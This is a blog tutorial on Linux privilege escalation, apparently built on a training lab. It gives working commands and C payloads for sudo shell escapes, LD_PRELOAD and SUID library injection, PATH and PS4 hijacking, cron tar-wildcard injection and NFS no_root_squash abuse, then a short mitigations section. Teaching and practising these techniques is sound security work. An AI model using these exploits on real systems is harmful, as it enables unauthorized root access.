Friday, February 13, 2026

Understanding Linux Privilege Escalation: Techniques, Risks, and Defenses

 

Linux Privilege Escalation

A Complete Guide to Escalation Techniques and Exploitation Methods

Introduction

Privilege escalation is a critical phase in penetration testing and security assessments. Once initial access is gained to a Linux system, the next objective is often to escalate privileges from a low-privileged user to root. This comprehensive guide explores various privilege escalation techniques, from sudo abuse to SUID exploitation, cron job manipulation, and NFS misconfiguration.

Understanding these techniques is essential for both offensive security professionals conducting authorized penetration tests and defensive security teams hardening their systems against such attacks. Each method demonstrated here represents a real-world vulnerability that, when properly secured, significantly improves system security posture.

Covered Techniques

  1. Sudo Exploitation (Shell Escaping)
  2. Sudo Abuse (Intended Functionality)
  3. Sudo LD_PRELOAD Exploitation
  4. SUID Shared Object Injection
  5. SUID Symlink Exploitation
  6. SUID Environment Variable Manipulation
  7. Linux Capabilities Abuse
  8. Cron Job Exploitation (PATH, Wildcards, File Overwrite)
  9. NFS Root Squashing

1. Sudo Exploitation - Shell Escaping

Concept Overview

Shell escaping exploits programs that can be run with sudo privileges but allow command execution or shell access. Many legitimate programs include functionality to execute system commands, and when run with sudo, these commands execute with root privileges. Common vulnerable programs include text editors, file utilities, and scripting tools.

Detection

First, check which programs can be run with sudo:

sudo -l

This command lists all programs the current user can execute with sudo privileges. Look for programs known to allow shell escaping, such as find, awk, vim, nmap, less, more, man, and others.

Exploitation Methods

Method A: Using find command

sudo find /bin -name nano -exec /bin/sh \\;

Payload Breakdown:

  • sudo: Executes the command with root privileges
  • find /bin -name nano: Searches for a file named 'nano' in /bin directory (can be any existing file)
  • exec /bin/sh \\;: Executes /bin/sh (shell) for each found file, granting a root shell
  • \\;: Terminates the -exec command (backslash escapes the semicolon)

Method B: Using awk command

sudo awk 'BEGIN {system("/bin/sh")}'

Payload Breakdown:

  • awk: Text processing utility commonly used for data extraction
  • BEGIN: AWK pattern that executes before processing any input
  • system("/bin/sh"): AWK function that executes shell commands, spawning a root shell

Method C: Using nmap command

echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse

Payload Breakdown:

  • echo "os.execute('/bin/sh')" > shell.nse: Creates an NSE (Nmap Scripting Engine) script that executes a shell
  • os.execute: Lua function used in NSE scripts to execute system commands
  • sudo nmap --script=shell.nse: Runs nmap with the malicious script, executing /bin/sh as root

Method D: Using vim editor

sudo vim -c '!sh'

Payload Breakdown:

  • -c: Vim flag to execute a command upon startup
  • !sh: Vim command to execute shell (! runs external commands), spawning a root shell

2. Sudo Abuse - Intended Functionality

Concept Overview

Some programs, when run with sudo, can be abused through their legitimate functionality to read sensitive files like /etc/shadow. Apache2, for instance, has a debugging mode that displays file contents. By leveraging this feature, attackers can extract password hashes and crack them offline.

Detection

sudo -l

Look for apache2 or similar services that can read arbitrary files.

Exploitation

Step 1: Extract the shadow file hash

sudo apache2 -f /etc/shadow

Payload Breakdown:

  • apache2: Apache web server binary
  • -f /etc/shadow: Specifies configuration file; Apache tries to parse /etc/shadow and displays syntax errors, revealing password hashes

Step 2: Save the hash (on attacker machine)

echo 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::' > hash.txt

Step 3: Crack the hash using John the Ripper

john --wordlist=/usr/share/wordlists/nmap.lst hash.txt

Payload Breakdown:

  • john: John the Ripper password cracker
  • -wordlist=/usr/share/wordlists/nmap.lst: Specifies dictionary file for password guessing
  • hash.txt: File containing the extracted password hash

3. Sudo LD_PRELOAD Exploitation

Concept Overview

LD_PRELOAD is an environment variable that specifies shared libraries to load before all others. If sudo is configured to preserve LD_PRELOAD (env_keep+=LD_PRELOAD), attackers can inject malicious shared libraries that execute code with root privileges before the intended program runs.

Detection

sudo -l

Look for output containing: env_keep+=LD_PRELOAD

Exploitation

Step 1: Create malicious shared library

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Code Breakdown:

  • _init(): Constructor function automatically executed when the shared library loads
  • unsetenv("LD_PRELOAD"): Removes LD_PRELOAD to prevent infinite loops
  • setgid(0); setuid(0);: Sets group ID and user ID to 0 (root)
  • system("/bin/bash"): Spawns a root shell

Step 2: Compile the shared library

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

Compilation Flags Breakdown:

  • fPIC: Generates Position Independent Code, required for shared libraries
  • shared: Creates a shared library (.so) instead of an executable
  • -o /tmp/x.so: Specifies output file location and name
  • -nostartfiles: Prevents linking with standard startup files (not needed for our constructor)

Step 3: Execute with LD_PRELOAD

sudo LD_PRELOAD=/tmp/x.so apache2

This loads x.so before apache2, triggering the _init() function and spawning a root shell before apache2 even starts.

Step 4: Verify privileges

id

4. SUID - Shared Object Injection

Concept Overview

SUID (Set User ID) binaries run with the permissions of the file owner, not the user executing them. If a SUID binary attempts to load a shared library from a writable directory and the library is missing, we can inject our own malicious library. The binary will execute our code with elevated privileges.

Detection

Step 1: Find SUID binaries

find / -type f -perm -04000 -ls 2>/dev/null

Command Breakdown:

  • find /: Searches from root directory
  • -type f: Only searches for files (not directories)
  • -perm -04000: Finds files with SUID bit set (4000 in octal)
  • 2>/dev/null: Redirects error messages to suppress permission denied errors

Step 2: Trace library calls

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

Command Breakdown:

  • strace: Traces system calls and signals
  • 2>&1: Redirects stderr to stdout for grep processing
  • grep -i -E "open|access|no such file": Filters for file opening attempts, especially missing files

Exploitation

Step 1: Create the writable directory

mkdir /home/user/.config

Step 2: Create malicious library code

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Code Breakdown:

  • __attribute__((constructor)): Marks inject() to run automatically when library loads
  • cp /bin/bash /tmp/bash: Copies bash to /tmp
  • chmod +s /tmp/bash: Sets SUID bit on the copied bash
  • /tmp/bash -p: Executes bash in privileged mode (-p preserves SUID privileges)

Step 3: Compile the malicious library

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

Compilation Breakdown:

  • -shared: Creates shared library
  • -fPIC: Position Independent Code for shared libraries
  • libcalc.so: Output filename matches the missing library detected by strace

Step 4: Trigger the SUID binary

/usr/local/bin/suid-so

When executed, the SUID binary loads our malicious libcalc.so, running inject() with root privileges and spawning a root shell.

5. SUID - Symlink Exploitation

Concept Overview

Certain vulnerable versions of services like nginx have race condition vulnerabilities in their log rotation mechanisms. By creating a symbolic link from a log file to /etc/shadow and timing it with logrotate execution, attackers can trick the service into making /etc/shadow world-readable, exposing password hashes.

Detection

dpkg -l | grep nginx

Check if nginx version is below 1.6.2-5+deb8u3 (vulnerable versions).

Exploitation

Terminal 1: Setup (as www-data user)

su root
su -l www-data
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log

Script Breakdown:

  • nginxed-root.sh: Exploitation script that creates symbolic links and waits for logrotate to change permissions

Terminal 2: Trigger logrotate

su root
invoke-rc.d nginx rotate >/dev/null 2>&1

Command Breakdown:

  • invoke-rc.d: Debian/Ubuntu command to manage init scripts
  • nginx rotate: Triggers log rotation, causing the race condition vulnerability

After rotation completes, /etc/shadow becomes readable, allowing hash extraction for offline cracking.

6. SUID - Environment Variable Manipulation

Concept Overview

If a SUID binary executes system commands without using absolute paths, attackers can manipulate the PATH environment variable to execute malicious code. By placing a trojan program earlier in PATH, the SUID binary will execute our code instead of the intended command, running it with elevated privileges.

Detection

Step 1: Find SUID binaries

find / -type f -perm -04000 -ls 2>/dev/null

Step 2: Analyze binary for vulnerable function calls

strings /usr/local/bin/suid-env

Command Breakdown:

  • strings: Extracts printable strings from binary, revealing function names and commands

Look for calls to system commands without absolute paths (e.g., 'service' instead of '/usr/sbin/service').

Exploitation

Method #1: PATH Hijacking

Step 1: Create malicious program

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c

Code Breakdown:

  • setgid(0); setuid(0);: Sets privileges to root (UID/GID 0)
  • system("/bin/bash"): Spawns root shell

Step 2: Compile the trojan

gcc /tmp/service.c -o /tmp/service

Step 3: Hijack PATH

export PATH=/tmp:$PATH

Command Breakdown:

  • export PATH=/tmp:$PATH: Prepends /tmp to PATH, making our trojan found first before legitimate binaries

Step 4: Execute SUID binary

/usr/local/bin/suid-env

Exploitation Method #2: Function Injection

For binaries using absolute paths, we can create a malicious bash function:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

Function Breakdown:

  • function /usr/sbin/service(): Creates bash function with same name as the system command (including full path)
  • cp /bin/bash /tmp && chmod +s /tmp/bash: Creates SUID copy of bash
export -f /usr/sbin/service

Command Breakdown:

  • export -f: Exports the function so child processes (SUID binary) can access it
/usr/local/bin/suid-env2

Exploitation Method #3: PS4 Exploitation

Advanced technique using bash debugging variables:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

Payload Breakdown:

  • env -i: Starts with clean environment
  • SHELLOPTS=xtrace: Enables bash debugging mode
  • PS4='$(...)': Sets debug prompt to execute commands (creates SUID bash)
  • /tmp/bash -p: Executes SUID bash in privileged mode

7. Linux Capabilities Abuse

Concept Overview

Linux capabilities break root privileges into distinct units that can be independently enabled or disabled. The cap_setuid capability allows a process to manipulate user IDs. If granted to interpreters like Python, attackers can set UID to 0 (root) and spawn privileged shells without needing SUID binaries.

Detection

getcap -r / 2>/dev/null

Command Breakdown:

  • getcap: Displays file capabilities
  • -r /: Recursively searches from root directory
  • 2>/dev/null: Suppresses permission errors

Look for cap_setuid on interpreters (python, perl, ruby) or other binaries.

Exploitation

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Payload Breakdown:

  • -c: Executes Python code from command line
  • import os: Imports OS module for system calls
  • os.setuid(0): Sets user ID to 0 (root) using cap_setuid capability
  • os.system("/bin/bash"): Spawns bash shell with root privileges

8. Cron Job Exploitation

Concept Overview

Cron jobs are scheduled tasks that run automatically at specified intervals. When cron jobs run as root but use writable scripts or misconfigured PATH variables, attackers can inject malicious code that executes with root privileges. Three primary exploitation vectors exist: PATH manipulation, wildcard abuse, and file overwriting.

Method A: PATH Manipulation

Detection:

cat /etc/crontab

Check if PATH includes writable directories (like /home/user) before system directories.

Exploitation:

> echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
> chmod +x /home/user/overwrite.sh

Script Breakdown:

  • cp /bin/bash /tmp/bash: Copies bash to temporary directory
  • chmod +s /tmp/bash: Sets SUID bit (runs with owner's privileges)
  • **chmod +x**: Makes script executable

Wait for cron to execute, then:

/tmp/bash -p

Command Breakdown:

  • -p: Privileged mode; prevents bash from dropping SUID privileges

Method B: Wildcard Exploitation

Detection:

cat /etc/crontab
cat /usr/local/bin/compress.sh

Look for scripts using wildcards (*) with commands like tar, rsync, or chown.

Exploitation:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\\ runme.sh

Exploitation Breakdown:

  • runme.sh: Script containing our malicious payload
  • --checkpoint=1: Tar option interpreted as filename; creates checkpoint every 1 record
  • --checkpoint-action=exec=sh runme.sh: Executes our script at checkpoint; backslash escapes the space

When tar processes these files with wildcard, it interprets filenames as command-line options, executing our script with root privileges.

After cron execution:

/tmp/bash -p

Method C: File Overwrite

Detection:

cat /etc/crontab
ls -l /usr/local/bin/overwrite.sh

Check if cron script has world-writable permissions or is owned by current user.

Exploitation

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

Command Breakdown:

  • >>: Appends to file (preserves existing content to avoid breaking script)

Wait for execution, then:

/tmp/bash -p

9. NFS Root Squashing

Concept Overview

NFS (Network File System) allows sharing directories across networks. By default, NFS uses 'root squashing' to map remote root users to nobody for security. However, when no_root_squash is enabled, remote root users maintain root privileges. Attackers can mount these shares, create SUID binaries as root on their machine, and execute them on the target for privilege escalation.

Detection (Target System)

cat /etc/exports

Look for shares with no_root_squash option, indicating root privileges are preserved.

Exploitation (Attacker Machine)

Step 1: Enumerate NFS shares

showmount -e <IP address>

Command Breakdown:

  • showmount: Queries NFS server for export information
  • -e: Displays export list (shared directories)

Step 2: Mount the NFS share

mkdir /tmp/1
mount -o rw,vers=2 10.48.164.145:/tmp /tmp/1

Mount Options Breakdown:

  • -o rw: Mounts with read-write permissions
  • vers=2: Specifies NFS version 2 (may need adjustment based on target)

Step 3: Create malicious executable

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c

Code Breakdown:

  • setgid(0); setuid(0);: Sets privileges to root
  • system("/bin/bash"): Spawns shell

Step 4: Compile with SUID

gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

Command Breakdown:

  • chmod +s: Sets SUID bit; as root on attacker machine, the file becomes owned by root with SUID

Step 5: Execute on target

/tmp/x

Because no_root_squash is enabled, the SUID binary created by root on the attacker machine executes with root privileges on the target system, spawning a root shell.

Defense and Mitigation Strategies

Sudo Hardening

  • Minimize sudo privileges; use specific commands with NOPASSWD sparingly
  • Remove env_keep+=LD_PRELOAD from sudoers configuration
  • Regularly audit sudo rules with sudo -l as different users
  • Avoid granting sudo access to interpreters and text editors

SUID/SGID Management

  • Minimize SUID binaries; remove unnecessary ones
  • Regularly audit SUID files with find / -perm -4000
  • Use absolute paths in SUID programs
  • Implement file integrity monitoring for SUID binaries

Capabilities Control

  • Regularly audit capabilities with getcap
  • Never grant cap_setuid to interpreters or compilers
  • Use capabilities sparingly; prefer traditional permissions

Cron Job Security

  • Set secure PATH in crontab; exclude user-writable directories
  • Make cron scripts readable/executable only by root
  • Avoid wildcards in cron scripts; use explicit file lists
  • Use absolute paths for all commands in cron scripts

NFS Security

  • Never use no_root_squash unless absolutely necessary
  • Restrict NFS access with firewall rules
  • Use NFSv4 with Kerberos authentication
  • Limit exports to specific IP addresses or subnets

Additional Resources

  • GTFOBins: https://gtfobins.github.io/ - Database of Unix binaries for privilege escalation
  • LinPEAS: Automated Linux privilege escalation enumeration script
  • Linux Privilege Escalation Checklist by g0tmi1k
  • TryHackMe Linux PrivEsc Room: Hands-on practice environment
  • HackTheBox Academy: Linux privilege escalation modules
  • PayloadsAllTheThings: Comprehensive payload repository
Share:

0 comments:

Post a Comment